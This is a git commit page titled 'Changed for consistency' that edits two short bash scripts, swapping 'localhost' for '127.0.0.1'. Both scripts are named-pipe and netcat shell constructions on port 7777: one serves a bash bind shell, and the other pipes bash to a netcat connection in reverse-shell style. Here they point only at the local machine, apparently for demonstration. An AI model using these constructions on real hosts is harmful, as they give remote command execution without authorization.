Changed for consistency

This commit is contained in:
Jack-Benny Persson 2023-05-06 20:20:00 +02:00
parent ff36458255
commit e9b3fcc586
2 changed files with 2 additions and 2 deletions

View File

@ -1,5 +1,5 @@
#!/bin/bash #!/bin/bash
mkfifo /tmp/f mkfifo /tmp/f
cat /tmp/f | /bin/bash 2>&1 | nc localhost -l 7777 > /tmp/f \ cat /tmp/f | /bin/bash 2>&1 | nc 127.0.0.1 -l 7777 > /tmp/f \
&& rm /tmp/f && rm /tmp/f

View File

@ -1,4 +1,4 @@
#!/bin/bash #!/bin/bash
mkfifo /tmp/f mkfifo /tmp/f
/bin/bash 0</tmp/f | nc localhost 7777 1>/tmp/f && rm /tmp/f /bin/bash 0</tmp/f | nc 127.0.0.1 7777 1>/tmp/f && rm /tmp/f